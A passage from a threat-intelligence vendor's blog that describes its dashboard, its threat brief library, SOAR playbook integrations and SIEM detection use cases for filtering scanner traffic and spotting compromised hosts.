Activity Map A world map of the countries involved in the focused activity, colored by whether each country is a source of activity, a destination, or both.
Activity Trend A line chart of activity over the selected time range.
Tag Details The full intelligence card for one GreyNoise tag: description, classification, block/monitor recommendation, associated CVEs, references, and an activity graph.
CVE Details The intelligence card for one CVE: description, active-exploitation and CISA KEV status, CVSS score, EPSS score, threat IP count over the last day, and related tags.

‍

And five ways to focus a panel:

Focus Description Available Panels
IP address One IP address Key Numbers, Activity Map
CVE One vulnerability (e.g. CVE-2021-22873) Key Numbers, Activity Map, Activity Trend, CVE Details
Tag One GreyNoise tag Key Numbers, Activity Map, Activity Trend, Tag Details
Country Activity involving one country Key Numbers, Activity Map
GNQL query Any custom GNQL query (e.g. tags:mirai classification:malicious) Key Numbers, Activity Map, Activity Trend

‍

The GNQL focus is the most flexible option. Any query you already run in GreyNoise can become a live dashboard panel, so a standing query like tags:mirai classification:malicious turns into something you watch instead of rerunning every time. Just give the panel a name (a sensible default is suggested), and click *Add Panel*.

‍

Make it your own

Every dashboard is built from panels, and adding one takes just a few clicks: pick a panel type and a focus, give it a name, and it lands on your dashboard already populated. You can drag panels to rearrange them, resize them, or expand any panel to full screen.

For the full step-by-step, including every panel type, focus option, and layout control, see the Intelligence Dashboard documentation.

‍

‍

Navigating a dashboard

Two controls in the header apply to every panel at once:

  • Time range: switch the whole board between the past 24 hours and the past 10 days.
  • Data source: choose which sensor data the panels query. GreyNoise’s global network by default, Community sensors, your own workspace sensors, or a combination. 

The Activity Map is worth a closer look. Countries are color-coded to show whether they are the source of activity, the destination, or both. Click any country on the map or in the sidebar to see the IPs the activity is coming from and the IPs being targeted, along with the organization that owns each one. Every IP links to its detail page, while “View all IPs” in the Visualizer opens the full result set as a GNQL query. When building a map panel, you can also filter it by source or destination country. For example, you could create a map that only shows activity targeting the regions where you operate.

Changes are not saved automatically. When you have unsaved edits, a banner appears with a “Save” button. The dashboard manager, accessed through the panel icon in the header, lets you switch between saved dashboards, search by name, create a new dashboard, or delete one. Dashboards are personal to you within your workspace. You can save up to 50 dashboards, with up to 24 panels in each.

‍

Quick tip: which data source should I use?

  • Use GreyNoise to see what is happening across the internet at large.
  • Use My Workspace to focus a dashboard on what your own deployed sensors are seeing.

Community and My Workspace require a deployed Swarm sensor. Once you deploy one, access is granted within about 6 hours. 
‍

‍

Access and availability

The Intelligence Dashboard is available to all signed-in GreyNoise users. GreyNoise customers and Community users with a business email get at least 10 days of data lookback, while Community users with a consumer email get 2 days. Available data sources may also vary by account type.

To build your first dashboard, open the GreyNoise Visualizer and navigate to Query → Dashboard.
‍

‍

Ready to get started?

  • Current customers: Log in to the Visualizer, start from the daily view, and save your first dashboard.
  • Not a customer yet? Contact Sales to learn more.

Now Available: The Threat Brief Library in the GreyNoise Platform

Every week, GreyNoise publishes a threat intelligence brief called At The Edge. This covers what attackers are doing on the internet, including which products are drawing exploitation traffic, which vulnerabilities are being exploited, and what changed from the previous week. Each brief is built on primary-source data from our global sensor network and analyzed by our research team into named findings, IOCs, and recommended actions.

The Threat Brief Library is now available in the GreyNoise Visualizer. You can browse, search, filter, and download every brief available to your account as a PDF. Community users can access every At The Edge Clear edition, while customers get the full library.

‍

What's in the library

The library includes three report types:

  • At The Edge: GreyNoise’s weekly intelligence brief covering exploitation activity observed across the edge during the previous week. Each edition includes analysis, IOCs, and recommended actions by role.
  • Executive Situation Reports: Event-driven briefs focused on a single campaign or vulnerability under active exploitation. Each report includes key judgments, vulnerability and campaign context, attacker infrastructure, observed tradecraft, implications, recommended actions, and the supporting activity data.
  • At The Edge Clear: The public edition of the weekly At The Edge brief, covering the week’s headline activity and key findings.

‍

Inside a full At The Edge brief

Each brief is built on primary-source data from the GreyNoise Global Observation Grid, our global network of sensors that emulate the edge infrastructure attackers target. The sensors record all the exploitation attempts and our research team correlates them into named campaigns, confirms the CVEs involved, attributes the hosting infrastructure behind them, and writes the detection and remediation guidance.

‍

A full At The Edge brief includes:

  • Bottom Line Up Front: the week's most significant activity and what to do about it
  • Recommended actions by role for for security leadership, SOC, vulnerability management, network security, threat hunting, and IAM teams
  • Named findings: the products, CVEs, CISA KEV status, campaigns, traffic volumes, and host classifications driving activity
  • Infrastructure attribution: the ASNs, hosting fleets, and network ranges behind the activity
  • Target assessments, IOCs, and detection guidance based on request patterns and client fingerprints that persist as source addresses rotate
  • Persistent activity updates on threats that remain active from previous weeks

‍

Want to see what a week looks like? Read the latest At The Edge Clear edition.

‍

Where to find it

Log in to the GreyNoise Visualizer, click your name on the top right, and open the Threat Brief Library. You can search by title or description, filter by category, and download any brief you have access to as a PDF. The newest briefs appear first. Briefs are also available through the API and an RSS feed, so you can pull them directly into your own tools or subscribe to new briefs as they publish.

‍

‍

‍

The library is available to all GreyNoise users. Community users can read every At The Edge Clear edition, while GreyNoise customers get the full library, including weekly At The Edge briefs and Executive Situation Reports. Read the Threat Briefs documentation to learn more.

‍Contact us to get access to the full library.

‍

5 Things I Show Every SOC Team When We Wire GreyNoise Into Their SOAR

I spend a lot of my time in SOAR consoles with security teams, and the same pattern shows up almost every time. The automation is already there. Playbooks fire, tickets open, enrichment runs. However, the decisions underneath are still shaky. Automation moves fast; it doesn't move smart on its own. A playbook that auto-routes a case is only as good as the context it routes on.

That's the gap GreyNoise fills. We don't replace your SOAR or your SIEM, we feed them. We tell your playbooks what not to worry about so the team can spend its hours on the activity that's actually aimed at them. Here are the five integrations I walk through in nearly every deployment.

‍

1. IP enrichment that makes triage and response times faster

This is where almost everyone starts, and for good reason. Most SOCs still have analysts manually looking up IPs to determine whether an alert matters. The process is slow, repetitive, and often leads to inconsistent triage decisions.

We drop a /v3/ip lookup into the front of the playbook (single lookups or bulk, up to 10K at a time) so every alert gets enriched automatically with classification, tags, and threat level. Then you build your routing rules on top of that. The enrichment writes straight back to the case so the analyst sees the reasoning, not just the verdict.

The payoff is what teams care about most: faster response times, more consistent triage decisions, and a 40–60% reduction in alert volume once routine internet noise is identified and filtered.

‍

2. Early warning when your vendors' CVEs start getting hit

Individual organizations often don’t see global exploitation spikes targeting their vendors until it’s too late. A surge in scanning or exploitation against a particular vendor's CVE can be an early sign of a zero-day or novel attack, but those patterns are difficult to detect when you're only looking at activity inside your own environment. By the time you hear about it after the vendor publishes an advisory, it may already be too late.

GreyNoise Event Feeds push an alert into SOAR the moment scanning or exploitation activity against your vendors' CVEs spikes. The playbook takes it from there: assess benign versus malicious activity, enrich with CVE and IP context, open a case, create a VM ticket, update blocklists, and notify the team in ChatOps.

The outcome is simple: detect rising exploitation activity days before vendors announce new vulnerabilities, patch and harden before attacks become widespread, and automatically separate real threats from benign scanning activity.

‍

3. Detect compromised edge devices

This one resonates with anyone who's been burned by a compromised firewall or VPN appliance. You can't run EDR on those boxes, so when one gets popped and starts scanning the internet or calling home to attacker-controlled C2 infrastructure, you typically don't find out until blacklisted or it’s reported by an external party. 

We run two feeds into the SOAR for this. First, a webhook fires when GreyNoise observes your IP ranges conducting unsolicited scanning, a strong signal something behind that address is compromised. Second, a callback IP feed alerts whenever we detect a new attacker callback destination, which the SOAR correlates against your outbound traffic. Either one triggers automatic case creation and a containment ticket. That means catching compromise before it leads to reputation damage, responding automatically in seconds, and keeping persistent issues tied together in a single case timeline.

‍

4. Build high-trust blocklists 

Every team wants to automate blocklist updates. Almost none of them fully trust the automation, because the nightmare scenario is auto-blocking a business-critical IP and taking down a legitimate service during business hours.

The fix is a validation step. Before an IP gets added to the blocklist, the playbook checks it against GreyNoise business services intelligence. If the IP is tied to a known business service, it routes to a human for manual review. If it's not, the block proceeds automatically. You get fast response to likely-malicious IPs without the over-blocking risk that keeps people from turning automation on in the first place.

The result is greater confidence in automated blocklist updates, reduced over-blocking risk, and faster response to likely malicious IPs. When I show this to a hesitant team, it's usually the thing that unblocks their whole automation roadmap. 

‍

5. Build valuable threat intelligence into agentic workflows 

Most of the teams I work with are building agentic workflows now, and they keep running into the same wall: an agent is only as good as the context it can reach. Point it at incomplete or low-confidence data and you get confident-sounding nonsense.

GreyNoise plugs into those workflows through APIs, skills, or MCPs, so an agent investigating an alert can pull high-quality threat intelligence directly into its reasoning before it acts. The agent receives a trigger, queries GreyNoise, analyzes the context, and either returns an answer or kicks off a response workflow. This is grounded in observed attacker behavior rather than guesswork.

It's still early days for a lot of these deployments, but the teams seeing the most success are treating threat intelligence as a core input to the agent, not something bolted on afterward. The result is faster, more confident investigation and response grounded in high-quality threat intelligence.

‍

The common thread

Which alerts deserve attention? Which CVEs are actively being exploited? Which IPs are worth blocking? Which signals point to a compromised device?

The reason these workflows work is because they're all built on the same foundation: real observations from across the internet. GreyNoise continuously watches scan and attack activity through our global sensor network, so when a playbook makes a decision, it's based on what an IP is actually doing in the wild, not just what it happened to do in your environment.

That's what gives teams the confidence to automate. Route an alert. Open a case. Block an IP. Escalate an investigation. The decision is backed by observed behavior, not a hunch.

I tell teams all the time that automation isn't the hard part anymore. Most organizations already have playbooks that can move fast. The challenge is making sure they're making the right decisions when they do.

If your SOAR is great at taking action but you're still questioning the inputs behind those actions, these are the first five workflows I'd look at. Explore our SOAR integrations >

Want to see any of these wired up live? Book a demo >

4 Ways GreyNoise Improves SOC Outcomes

Every organization connected to the internet faces the same background noise: automated exploitation attempts, vulnerability scanning, and credential abuse hitting the perimeter around the clock. The hard part isn't seeing the traffic, it's answering three questions fast enough to matter. What's hitting us? What's getting through? And what's already talking to adversary infrastructure?

GreyNoise continuously observes scan and attack activity across the internet, classifies the source IPs by behavior, and delivers that intelligence into your SIEM. The point isn't more data. It's separating the opportunistic noise, the stuff hitting everyone, from activity that might actually be aimed at you. Here are four ways SOC teams are putting that distinction to work.

‍

1. Reduce alert volume and surface potentially targeted threats

The problem

Detections on perimeter scans and attacks are noisy by nature. Most alerts off edge devices aren't real threats, so they get ignored or suppressed. The alerts worth investigating are in there but they're just buried under scanning noise that hides anything resembling a targeted threat.
‍

The detection

Filter your firewall and WAF logs down to inbound internet traffic, then match source IPs against GreyNoise and exclude the known mass scanners. Prioritize what's left by source-IP volume. Stripping out opportunistic scanning means analysts triage far fewer events, and the detection logic that remains has room to surface traffic more likely to represent targeted reconnaissance or attack activity.
‍

The signal

Fewer alerts, better signal-to-noise. Every remaining alert comes from an IP GreyNoise has never observed scanning the internet, which is a much stronger indicator of potential targeted reconnaissance.

‍

2. Detect allowed inbound traffic from known-malicious hosts

The problem

Perimeter gaps go unnoticed because nothing validates whether traffic that was allowed through should have been. Without external intelligence, traffic that passes through the firewall may not receive additional scrutiny, even when the source IP has a documented history of malicious activity. 
‍

The detection

Correlate firewall and WAF allow logs against GreyNoise intelligence. Filter to inbound allowed events, match the source IPs against GreyNoise, and surface the malicious and suspicious matches, prioritized by source-IP volume. That tells you when something you let in originated from a host observed conducting mass scanning or exploitation.
‍

The signal

A list of sessions where known-malicious or suspicious IPs were permitted through your perimeter. Each match is two things at once: a session worth investigating, and a firewall or WAF rule worth re-evaluating.

‍

3. Flag authentication attempts from compromised hosts

The problem

Authentication failures and brute-force attempts from the internet are constant for any perimeter device. The trouble is telling opportunistic account access apart from attempts aimed specifically at your organization. Hosts running mass scans or operating as part of botnet or proxy infrastructure authenticate to VPNs and identity providers all the time, and standard detection logic doesn't flag it.
‍

The detection

Correlate VPN and identity-provider authentication logs with GreyNoise. Filter to authentication events, match source IPs against GreyNoise, include the not-spoofable matches, and prioritize by source-IP volume. That surfaces auth attempts coming from hosts already observed scanning the internet, early enough to intervene on both successful and failed attempts.
‍

The signal

A successful auth from a GreyNoise-flagged IP is an immediate, high-priority alert. Failed attempts from flagged IPs are worth a look too, as they can indicate active targeting of your identity infrastructure rather than random background noise.

‍

4. Detect outbound connections to threat infrastructure

The problem

Outbound connection volume is so high that alerting on or investigating anomalous connections individually is impractical, so connections from internal infrastructure to known-malicious systems slip by. Most threat intel feeds don't help here either because they lack the real-time behavioral data needed to tell which outbound connections actually warrant a look.
‍

The detection

Internal hosts reaching out to malicious infrastructure is a clear sign of compromise. Take outbound network and EDR logs, filter to public connections that egress allowed, match destination IPs against GreyNoise, and surface the malicious matches, prioritized by internal source-IP volume. When an internal host lights up here, the correlation points at a possible indicator of compromise - C2 beaconing, data exfiltration, or botnet participation.
‍

The signal

Any successful outbound connection to GreyNoise-classified malicious infrastructure warrants immediate investigation of the internal host for indicators of compromise.

‍

The operational payoff

Stacked together, these four detections move the needle on the things that security teams actually care about:

  • Reduce alert volume by removing opportunistic scanning from SIEM telemetry.
  • Improve signal-to-noise by prioritizing events more likely to represent targeted threats.
  • Surface perimeter gaps by identifying malicious infrastructure that made it through your defenses.
  • Detect compromise earlier by flagging suspicious authentication and outbound activity sooner.

None of this replaces the tooling you already run. GreyNoise is the context layer that makes your firewall, WAF, identity provider, EDR, and SIEM better at separating the internet's constant background noise from the activity worth your analysts' time.

Want to start deploying these detections? Talk to our team >

No blog articles found

Please update your search term or select a different category and try again.

Get started today